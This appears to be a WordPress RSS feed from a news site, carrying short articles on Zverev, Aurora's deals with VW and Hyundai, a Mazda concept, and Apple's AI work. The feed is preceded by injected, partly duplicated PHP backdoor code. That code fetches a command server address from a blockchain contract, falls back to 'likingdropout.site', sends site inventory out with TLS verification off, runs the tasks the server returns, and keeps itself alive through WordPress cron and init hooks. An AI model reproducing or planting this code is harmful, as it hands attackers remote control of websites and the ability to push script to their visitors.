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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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} $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Aspirations – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 09 Mar 2018 01:44:12 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Aspirations – Brief News https://briefnews.eu 32 32 Indian Wells: Alexander Zverev reveals HUGE aspirations https://briefnews.eu/indian-wells-alexander-zverev-reveals-huge-aspirations/ https://briefnews.eu/indian-wells-alexander-zverev-reveals-huge-aspirations/#respond Fri, 09 Mar 2018 01:44:12 +0000 http://briefnews.eu/indian-wells-alexander-zverev-reveals-huge-aspirations/

Zverev has been handed a bye in the first round of the Indian Wells as he enters the competition as a seeded player.

The world No 4 has been dealt a difficult drawn being placed in the same half as Marin Cilic, Novak Djokovic and Kevin Anderson.

However, the German still feels he has enough ability to battle it out with the best to get his 2018 season up and running.

Zverev will enter the California-based event full of confidence after reaching the semi-final of the Mexican Open, where he lost out to eventual champion Juan Martin del Potro.

“It all depends on my game,” Zverev told ATP World Tour.

“I don’t think it depends on what I’ve done last year, it’s more about how I play and I real feel good on court in the practice.

“I really feel like I can compete with anybody.”

When asked if he feels being seeded still comes with its own advantages after being dealt a difficult draw, Zverev replied: “I think they still do.

“It shows how you’ve played over the last 12 months.

“A few players have been a little bit injured but overall I feel good about myself and hopefully i can start the tournament good.”

Zverev is also looking forward to getting out on court in one of his favourite events.

“It’s a great tournament,” he added.

“There’s a reason why it’s been voted one of the best Masters for so many years.

“Obviously all the players enjoy it. There are so many courts and practice courts – the facilities are great.”

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]]> https://briefnews.eu/indian-wells-alexander-zverev-reveals-huge-aspirations/feed/ 0 Volkswagen and Hyundai Entrust Startup with Their Autonomous Aspirations https://briefnews.eu/volkswagen-and-hyundai-entrust-startup-with-their-autonomous-aspirations/ https://briefnews.eu/volkswagen-and-hyundai-entrust-startup-with-their-autonomous-aspirations/#respond Fri, 05 Jan 2018 04:26:12 +0000 http://briefnews.eu/volkswagen-and-hyundai-entrust-startup-with-their-autonomous-aspirations/ Volkswagen Sedric concept

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One of the most intriguing and tight-lipped startups building technology for self-driving vehicles said Thursday it has inked partnerships with two major global automakers.

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Aurora Innovation, founded in late 2016 by some of the autonomous industry’s most influential leaders, said it is forming collaborations with Volkswagen and Hyundai in efforts to deploy driverless vehicles in commercial operations by 2021.

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While there aren’t many specifics yet available on which Volkswagen vehicles will receive Aurora’s self-driving systems, the German automaker indicated it intends to use them across its brand lineup in electric vehicles and in purpose-built autonomous cars like the Sedric van prototype shown in Geneva in March 2017. Hyundai officials, meanwhile, said they will integrate the startup’s systems on the hydrogen fuel-cell SUV unveiled last summer (shown below).

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The companies made their announcements Thursday in the run-up to CES, the annual consumer-technology spectacle in Las Vegas that has placed increasing emphasis on driverless vehicles in recent years.

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Until then, Aurora Innovation, which has offices in Silicon Valley and Pittsburgh, hadn’t divulged much about its intentions. But it has been nonetheless closely watched, because its founders include Chris Urmson, a former director of Google’s self-driving car project, Sterling Anderson, the first director of Tesla Motors’ Autopilot feature, and Drew Bagnell, a founding member of Uber’s Advanced Technology Center.

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Terms of the partnerships were not disclosed. They come at a time when major OEMs and suppliers are either heavily investing in or buying self-driving startups outright, such as Ford investing $ 1 billion in Argo AI and what was then Delphi buying nuTonomy for $ 450 million in October. Aurora would seem primed to follow suit for a similar payday, but the company intends to remain independent, like Waymo, and work within key strategic partnerships such as the ones unveiled Thursday.

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Last fall, Urmson indicated the latter in a rare interview, telling Recode, “That’s the goal for Aurora, to get self-driving cars on the road as quickly as possible and do that safely and thoughtfully and do it through partnerships with folks that can help us.”

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Aurora-Hyundai

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Aurora’s engineers have been working to develop a complete self-driving system that includes sensors, hardware, and software. They’ve been partnering with Volkswagen at VW’s Automotive Innovation Lab at Stanford University for the past six months to integrate the systems into VW platforms. Eventually, Volkswagen said, it intends to introduce the technology in mobility-as-a-service applications, though it’s curious the company did not mention its new mobility brand, Moia, in an otherwise lengthy release on the Aurora partnership.

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Volkswagen’s blueprints in this realm come at a time when analysts expect traditional car ownership to decline and significant growth in mobility-as-a-service options. In a study published earlier this week, global analytics and consulting firm IHS Markit forecast that 33 million autonomous vehicles will reach roads across the world by 2040 and that there will be 12 average users for driverless cars in mobility-service roles.

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The arrival as Aurora as a prime developer of self-driving systems may mark a crossroads for VW. At least within its Audi brand, the company had split its automated-development efforts between a group working on Level 3 technology in Silicon Valley and a group working on Levels 4 and 5 in Germany.

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“It seems to be that this indicates VW is going to concentrate on Levels 2 and 3 with its in-house technology and hand the software development for Level 4 and 5 to Aurora.”

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—Mike Ramsey, Gartner

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“I think it’s interesting that VW is doing this at all,” says Mike Ramsey, a transportation and mobility analyst for global technology research firm Gartner. “VW was one of the earliest companies to have a self-driving program in California. It seems to be that this indicates VW is going to concentrate on Levels 2 and 3 with its in-house technology and hand the software development for Level 4 and 5 to Aurora,” he said, commenting that what’s suprising is “not the capabilities of Aurora; it’s that VW wouldn’t want to use its existing development efforts.”

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A Volkswagen spokesperson said the relationship between its existing team and Aurora is “complementary” and that Aurora helps the company secure “our agility and market readiness.”

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For Hyundai, the partnership with Aurora centers around deploying the technology in custom-developed vehicles capable of Level 4 autonomous operations—those that require no human role from the start of a journey to its end, albeit in geofenced areas. Hyundai officials said they’ll launch the technology in the fuel-cell SUVs, to be deployed in select cities, although the company is not yet discussing the specifics behind where and when those pilot programs will take place.

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“We know the future of transportation is autonomous, and autonomous driving technology needs to be proven in the real world to accelerate deployment in a safe and scalable manner,” said Woong-Chul Yang, vice chairman of Hyundai.

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While the partnerships mark concrete mileposts for two companies already on the road toward autonomous deployments, they mark merely the beginning for Aurora. With a few big OEMs still without a major partner still out there, it will be interesting to see whether Urmson and his colleagues will soon have more announcements up their sleeve, whether at CES or beyond.

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]]> https://briefnews.eu/volkswagen-and-hyundai-entrust-startup-with-their-autonomous-aspirations/feed/ 0 Mazda Vision Coupe Concept: A Gorgeous Signal of Aspirations – Official Photos and Info https://briefnews.eu/mazda-vision-coupe-concept-a-gorgeous-signal-of-aspirations-official-photos-and-info/ https://briefnews.eu/mazda-vision-coupe-concept-a-gorgeous-signal-of-aspirations-official-photos-and-info/#respond Thu, 26 Oct 2017 00:30:10 +0000 http://briefnews.eu/mazda-vision-coupe-concept-a-gorgeous-signal-of-aspirations-official-photos-and-info/ –Mazda Vision Coupe concept–Mazda Vision Coupe concept–Mazda Vision Coupe concept–Mazda Vision Coupe concept–Mazda Vision Coupe concept–Mazda Vision Coupe concept–Mazda Vision Coupe concept–Mazda Vision Coupe concept–Mazda Vision Coupe concept–Mazda Vision Coupe concept–Mazda Vision Coupe concept–Mazda Vision Coupe concept–Mazda Vision Coupe concept–Mazda Vision Coupe concept–Mazda Vision Coupe concept–Mazda Vision Coupe concept–Mazda Vision Coupe concept–Mazda Vision Coupe concept—

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]]> https://briefnews.eu/mazda-vision-coupe-concept-a-gorgeous-signal-of-aspirations-official-photos-and-info/feed/ 0 Mazda Vision Coupe Concept: A Gorgeous Signal of Aspirations https://briefnews.eu/mazda-vision-coupe-concept-a-gorgeous-signal-of-aspirations/ https://briefnews.eu/mazda-vision-coupe-concept-a-gorgeous-signal-of-aspirations/#respond Wed, 25 Oct 2017 23:30:07 +0000 http://briefnews.eu/mazda-vision-coupe-concept-a-gorgeous-signal-of-aspirations/ Mazda-Vision-Coupe-concept-PLACEMENT

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Like automobiles themselves, automotive form vocabularies evolve; sometimes for better, sometimes for worse. Mazda’s lauded Kodo (“Soul of Motion”) design language, which was first applied to the lovely Shinari concept in 2011 and has since spread to the rest of the production-car lineup, is one that has worked so well that we almost winced as we prepared to see where Mazda will take it next. Then the covers came off the four-door Vision Coupe concept car at this week’s Tokyo auto show, and it was immediately clear that we had nothing to be concerned about—the thing is mouth-wateringly gorgeous. Seriously. READ MORE ››

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]]> https://briefnews.eu/mazda-vision-coupe-concept-a-gorgeous-signal-of-aspirations/feed/ 0 Recommended Reading: Apple’s original television aspirations https://briefnews.eu/recommended-reading-apples-original-television-aspirations/ https://briefnews.eu/recommended-reading-apples-original-television-aspirations/#respond Sun, 25 Jun 2017 06:13:19 +0000 http://briefnews.eu/recommended-reading-apples-original-television-aspirations/

Apple Is a Step
Closer to Making
Its Own TV Shows
David Sims,
The Atlantic

While the company’s television aspirations remain largely a mystery, Apple hired two big names this week to help build its slate of original shows. Jamie Erlicht and Zack Van Amburg, presidents of Sony Pictures Television, will make the move to Cupertino this summer with experience making hits like Damages, Breaking Bad, Justified and other series. The Atlantic offers a look at what this means for Apple and what we can expect from Eddy Cue & Co. in the months to come.

The 50 Best Good Bad Movies
The Ringer

Just trust me: You need to read this roundup.

Sorry, Han Solo, Star Wars Don’t Need No Stinking Directors
Peter Rubin, Wired

Lucasfilm parted ways with the director duo of the upcoming Hans Solo movie this week, but quickly replaced them with Ron Howard.

The Secret Lives of Playlists
Liz Pelly, Watt

An interesting look at who’s really behind some of those Spotify playlists and what you need to know about how it all works.

Welcome to the Wikipedia of the Alt-Right
Alexis Sobel Fitts, Wired

What do you do when you think Wikipedia is run “by the left-wing thought police who administer it?” You make your own alt-right version.

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]]> https://briefnews.eu/recommended-reading-apples-original-television-aspirations/feed/ 0 How Apple reinvigorated its AI aspirations in under a year https://briefnews.eu/how-apple-reinvigorated-its-ai-aspirations-in-under-a-year/ https://briefnews.eu/how-apple-reinvigorated-its-ai-aspirations-in-under-a-year/#respond Wed, 07 Jun 2017 19:02:48 +0000 http://briefnews.eu/how-apple-reinvigorated-its-ai-aspirations-in-under-a-year/

At its WWDC 2017 keynote on Monday, Apple showed off the fruits of its AI research labors. We saw a Siri assistant that’s smart enough to interpret your intentions, an updated Metal 2 graphics suite designed for machine learning and a Photos app that can do everything its Google rival does without an internet connection. Being at the front of the AI pack is a new position for Apple to find itself in. Despite setting off the AI arms race when it introduced Siri in 2010, Apple has long lagged behind its competitors in this field. It’s amazing what a year of intense R&D can do.

Well, technically, it’s been three years of R&D, but Apple had a bit of trouble getting out of its own way for the first two. See, back in 2010, when Apple released the first version of Siri, the tech world promptly lost its mind. “Siri is as revolutionary as the Mac,” the Harvard Business Review crowed, though CNN found that many people feared the company had unwittingly invented Skynet v1.0. But for as revolutionary as Siri appeared to be at first, its luster quickly wore off once the general public got ahold of it and recognized the system’s numerous shortcomings.

Fast forward to 2014. Apple is at the end of its rope with Siri’s listening and comprehension issues. The company realizes that minor tweaks to Siri’s processes can’t fix its underlying problems and a full reboot is required. So that’s exactly what they did. The original Siri relied on hidden Markov models — a statistical tool used to model time series data (essentially reconstructing the sequence of states in a system based only on the output data) — to recognize temporal patterns in handwriting and speech recognition.

The company replaced and supplemented these models with a variety of machine learning techniques including Deep Neural Networks and “long short-term memory networks” (LSTMNs). These neural networks are effectively more generalized versions of the Markov model. However, because they posses memory and can track context — as opposed to simply learning patterns as Markov models do — they’re better equipped to understand nuances like grammar and punctuation to return a result closer to what the user really intended.

The new system quickly spread beyond Siri. As Steven Levy points out, “You see it when the phone identifies a caller who isn’t in your contact list (but who did email you recently). Or when you swipe on your screen to get a shortlist of the apps that you are most likely to open next. Or when you get a reminder of an appointment that you never got around to putting into your calendar.”

By the WWDC 2016 keynote, Apple had made some solid advancements in its AI research. “We can tell the difference between the Orioles who are playing in the playoffs and the children who are playing in the park, automatically,” Apple senior vice president Craig Federighi told the assembled crowd.

The company also released during WWDC 2016 its neural network API running Basic Neural Network Subroutines, an array of functions enabling third party developers to construct neural networks for use on devices across the Apple ecosystem.

However, Apple had yet to catch up with the likes of Google and Amazon, both of whom had either already released an AI-powered smart home companion (looking at you, Alexa) or were just about to (Home would be released that November). This is due in part to the fact that Apple faced severe difficulties recruiting and retaining top AI engineering talent because it steadfastly refused to allow its researchers to publish their findings. That’s not so surprising coming from a company so famous for its tight-lipped R&D efforts that it once sued a news outlet because a drunk engineer left a prototype phone in a Palo Alto bar.

“Apple is off the scale in terms of secrecy,” Richard Zemel, a professor in the computer science department at the University of Toronto, told Bloomberg in 2015. “They’re completely out of the loop.” The level of secrecy was so severe that new hires to the AI teams were reportedly directed not to announce their new positions on social media.

“There’s no way they can just observe and not be part of the community and take advantage of what is going on,” Yoshua Bengio, a professor of computer science at the University of Montreal, told Bloomberg. “I believe if they don’t change their attitude, they will stay behind.”

Luckily for Apple, those attitudes did change and quickly. After buying Seattle-based machine learning AI startup Turi for around $ 200 million in August 2016, Apple hired AI expert Russ Salakhutdinov away from Carnegie Mellon University that October. It was his influence that finally pushed Apple’s AI out of the shadows and into the light of peer review.

In December 2016, while speaking at the the Neural Information Processing Systems conference in Barcelona, Salakhutdinov stunned his audience when he announced that Apple would begin publishing its work, going so far as to display an overhead slide reading, “Can we publish? Yes. Do we engage with academia? Yes.”

Later that month Apple made good on Salakhutdinov’s promise, publishing “Learning from Simulated and Unsupervised Images through Adversarial Training“. The paper looked at the shortcomings of using simulated objects to train machine vision systems. It showed that while simulated images are easier to teach than photographs, the results don’t work particularly well in the real world. Apple’s solution employed a deep-learning system, known as known as Generative Adversarial Networks (GANs), that pitted a pair of neural networks against one another in a race to generate images close enough to photo-realistic to fool a third “discriminator” network. This way, researchers can exploit the ease of training networks using simulated images without the drop in performance once those systems are out of the lab.

In January 2017, Apple further signaled its seriousness by joining Amazon, Facebook, Google, IBM and Microsoft in the Partnership on AI. This industry group seeks to establish ethical, transparency and privacy guidelines in the field of AI research while promoting research and cooperation between its members. The following month, Apple drastically expanded its Seattle AI offices, renting a full two floors at Two Union Square and hiring more staff.

“We’re trying to find the best people who are excited about AI and machine learning — excited about research and thinking long term but also bringing those ideas into products that impact and delight our customers,” Apple’s director of machine learning Carlos Guestrin told GeekWire.

By March 2017, Apple had hit its stride. Speaking at the EmTech Digital conference in San Francisco, Salakhutdinov laid out the state of AI research, discussing topics ranging from using “attention mechanisms” to better describe the content of photographs to combining curated knowledge sources like Freebase and WordNet with deep-learning algorithms to make AI smarter and more efficient. “How can we incorporate all that prior knowledge into deep-learning?” Salakhutdinov said. “That’s a big challenge.”

That challenge could soon be a bit easier once Apple finishes developing the Neural Engine chip that it announced this May. Unlike Google devices, which shunt the heavy computational lifting required by AI processes up to the cloud where it is processed on the company’s Tensor Processing Units, Apple devices have traditionally split that load between the onboard CPU and GPU.

This Neural Engine will instead handle AI processes as a dedicated standalone component, freeing up valuable processing power for the other two chips. This would not only save battery life by diverting load from the power-hungry GPU, it would also boost the device’s onboard AR capabilities and help further advance Siri’s intelligence — potentially exceeding the capabilities of Google’s Assistant and Amazon’s Alexa.

But even without the added power that a dedicated AI chip can provide, Apple’s recent advancements in the field have been impressive to say the least. In the span between two WWDCs, the company managed to release a neural network API, drastically expand its research efforts, poach one of the country’s top minds in AI from one of the nation’s foremost universities, reverse two years of backwards policy, join the industry’s working group as a charter member and finally — finally — deliver a Siri assistant that’s smarter than a box of rocks. Next year’s WWDC is sure to be even more wild.

Image: AFP/Getty (Federighi on stage / network of photos)

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]]> https://briefnews.eu/how-apple-reinvigorated-its-ai-aspirations-in-under-a-year/feed/ 0 2017 Volkswagen Touareg Quick-Take Review: Great Aspirations https://briefnews.eu/2017-volkswagen-touareg-quick-take-review-great-aspirations/ https://briefnews.eu/2017-volkswagen-touareg-quick-take-review-great-aspirations/#respond Thu, 06 Apr 2017 16:16:06 +0000 http://briefnews.eu/2017-volkswagen-touareg-quick-take-review-great-aspirations/ 2017-Volkswagen-Touareg-PLACEMENT
–Overview: There is only one Volkswagen model that the brand characterizes as a luxury vehicle: the Touareg. With a starting price of $ 50,405, this two-row SUV is by far VW’s most expensive product. The Touareg is an outlier in the marketplace as well, with a price, size, and badge that give it few direct competitors. The Jeep Grand Cherokee offers the most similar package, but it starts nearly $ 20,000 cheaper; so, too, does the more carlike Nissan Murano. Other vehicles in the Touareg’s price class include the Lincoln MKX and the Acura MDX. Muddying the situation in VW’s own showrooms, the brand is adding the larger, three-row Atlas, which is expected to be significantly less expensive than the Touareg. READ MORE ››

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